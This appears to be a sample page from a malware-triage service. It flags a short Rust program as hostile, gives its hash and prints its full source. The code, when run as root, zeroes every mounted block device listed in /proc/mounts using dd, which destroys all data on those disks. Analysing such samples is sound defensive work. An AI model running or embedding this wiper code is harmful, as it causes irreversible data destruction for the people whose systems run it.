Hostile 92% Download

43-linux-mounts-dd.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceLanguage exec of dd zeroing a device
SHA-2562d558c63f81593d8c2e8fd8159bfaa08044fc04c337bddff62780a799a3c407d

Evidence

Constructs a Rust process command lines 1–12
1use std::fs;
2use std::process::Command;
3fn main() {
4 if unsafe { libc::geteuid() } != 0 { return; }
5 let text = fs::read_to_string("/proc/mounts").unwrap_or_default();
6 for line in text.lines() {
7 if line.starts_with("/dev/") {
8 let dev = line.split_whitespace().next().unwrap();
9 let _ = Command::new("dd").args(["if=/dev/zero", &format!("of={dev}")]).status();
10 }
11 }
12}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.